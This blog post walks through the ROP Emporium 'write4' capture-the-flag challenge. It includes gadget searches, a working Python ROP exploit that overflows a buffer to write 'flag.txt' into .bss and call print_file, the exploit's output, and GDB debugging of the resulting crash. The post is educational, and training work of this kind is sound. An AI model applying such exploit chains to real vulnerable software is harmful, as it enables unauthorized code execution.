ROP Emporium - write4
When tackling Return Oriented Programming (ROP) challenges, we often look for helpful gadgets and familiar strings like /bin/cat flag.txt
to simplify our exploitation. However, in the “write4” challenge, we face a scenario where the string isn’t present in the binary. This forces us to learn a crucial ROP technique — writing arbitrary data into memory.
In this blog, I’ll walk through how we can write data into the process’s memory space using ROP, and then use it to execute commands — precisely the skill “write4” wants us to learn.
After running our usual checks:
1
2
strings write432 | grep "cat"
strings write432 | grep "flag"
We find that, no /bin/cat
or flag
string is present.
However, we’re provided with useful ROP gadgets for writing data.
The goal here is simple:
- Write
/bin/cat flag.txt
kinda string somewhere in memory using ROP. - Call
system
(or equivalent) with the address of the string we wrote.
The author has conveniently provided a print_file
function, which takes a string argument, opens the corresponding file, and prints its contents. This means we simply need to write the string flag.txt
into memory and pass its address to this function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl print_file(char *filename)
{
char s[33]; // [esp+Bh] [ebp-2Dh] BYREF
FILE *stream; // [esp+2Ch] [ebp-Ch]
stream = fopen(filename, "r");
if ( !stream )
{
printf("Failed to open file: %s\n", filename);
exit(1);
}
fgets(s, 33, stream);
puts(s);
return fclose(stream);
}
For offset calculation you can refer my previous blogs in this ROP Emporium series.
The offset is 44 for overwriting EIP.
On decompiling write432
we can see there is a function by nameusefulGadgets
. We can disassemble it in GDB -
1
2
3
4
5
6
7
8
9
10
pwndbg> disass usefulGadgets
Dump of assembler code for function usefulGadgets:
0x08048543 <+0>: mov DWORD PTR [edi],ebp
0x08048545 <+2>: ret
0x08048546 <+3>: xchg ax,ax
0x08048548 <+5>: xchg ax,ax
0x0804854a <+7>: xchg ax,ax
0x0804854c <+9>: xchg ax,ax
0x0804854e <+11>: xchg ax,ax
End of assembler dump.
Gadget - mov DWORD PTR [edi],ebp
can be helpful to. ropper also gives the same gadget.
1
2
3
4
ropper --file write432 --search 'mov'
# ...
0x08048543: mov dword ptr [edi], ebp; ret;
# ...
This gadget allows us to write the value stored in ebp
to the memory address pointed to by edi
. In other words, it’s a “write-what-where” primitive — exactly what we need to place our desired string (flag.txt
) into a writable memory region.
Next, we need gadgets to control the values of edi
and ebp
. Fortunately, the binary provides suitable pop
gadgets that let us load values into these registers:
1
2
3
4
ropper --file write432 --search 'pop'
# ...
0x080485aa: pop edi; pop ebp; ret;
# ...
This gadget lets us load any address into edi
(where we want to write) and any value into ebp
(what we want to write).
Writing flag.txt
into Memory
Now that we have all the pieces, here’s the overall plan:
- Find a writable memory section (usually
.bss
). - Use the
pop edi; pop ebp; ret;
gadget to load our target address and desired string into the registers. - Use
mov dword ptr [edi], ebp; ret;
to write the data to memory. - Repeat as needed to write the full string.
- Call
print_file
with the address where we wroteflag.txt
.
Finding Writable Memory
We can easily identify a writable section by inspecting the binary:
1
readelf -S write432
Look for the .bss
section or another writable region:
[25] .bss NOBITS 0804a020 001020 000004 00 WA 0 0 1
Here, we’ll use address 0x0804a020
for writing.
Payload Construction
The string flag.txt
is 8 bytes long, so we can split it into two parts since we’re writing 4 bytes at a time (because the gadget moves dword
, i.e., 4 bytes):
- First write:
'flag'
- Second write:
'.txt'
Now that we have identified the required gadgets, we can start crafting our payload.
Here’s the plan:
- Write
"flag"
to.bss
(0x0804a020
). - Write
".txt"
to.bss + 4
(0x0804a024
). - Call the
print_file
function with the address0x0804a020
as the argument.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3
import sys
import struct
payload = b'A' * 40 # Padding to overflow buffer (40 bytes)
payload += b'B' * 4 # Overwrite saved EBP (can be junk here)
# First write: write 'flag' to 0x0804a020
payload += struct.pack("<I", 0x080485aa) # pop edi; pop ebp; ret;
payload += struct.pack("<I", 0x0804a020) # edi = destination address (.bss)
payload += b'flag' # ebp = data to write (4 bytes)
payload += struct.pack("<I", 0x08048543) # mov dword ptr [edi], ebp; ret;
# Second write: write '.txt' to 0x0804a024 (next 4 bytes)
payload += struct.pack("<I", 0x080485aa) # pop edi; pop ebp; ret;
payload += struct.pack("<I", 0x0804a024) # edi = destination address (.bss + 4)
payload += b'.txt' # ebp = data to write (4 bytes)
payload += struct.pack("<I", 0x08048543) # mov dword ptr [edi], ebp; ret;
# Call print_file with address of 'flag.txt'
payload += struct.pack("<I", 0x80483d0) # Address of print_file
payload += struct.pack("<I", 0xdeadbeef) # Return address after print_file (junk)
payload += struct.pack("<I", 0x0804a020) # Argument: pointer to 'flag.txt' string we wrote
sys.stdout.buffer.write(payload)
Now that our payload is ready, let’s test it:
1
2
3
4
5
6
7
8
9
10
python exp.py > exp.txt
cat exp.txt | ./write432
write4 by ROP Emporium
x86
Go ahead and give me the input already!
> Thank you!
ROPE{a_placeholder_32byte_flag!}
Segmentation fault (core dumped)
Awesome! We successfully triggered the print_file
function, and it printed the flag. However, we also see a segmentation fault after that.
To understand why the program crashed, we can run it inside GDB:
1
2
3
4
5
6
7
8
9
10
gdb ./write432
pwndbg> r < exp.txt
#...
EBP 0x7478742e ('.txt')
ESP 0xffffd524 —▸ 0x804a020 (completed) ◂— 'flag.txt'
EIP 0xdeadbeef
─────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────
Invalid address 0xdeadbeef
- Our ROP chain worked perfectly:
print_file
was called with the correct argument (the memory address where we stored"flag.txt"
). - The flag was printed successfully.
- However, after
print_file
finished, it attempted to return to the address we supplied as the “return address” in our payload. - In our exploit, we deliberately placed
0xdeadbeef
as the return address afterprint_file
— a common placeholder in exploit development. Since this address isn’t mapped in memory, it caused a segmentation fault.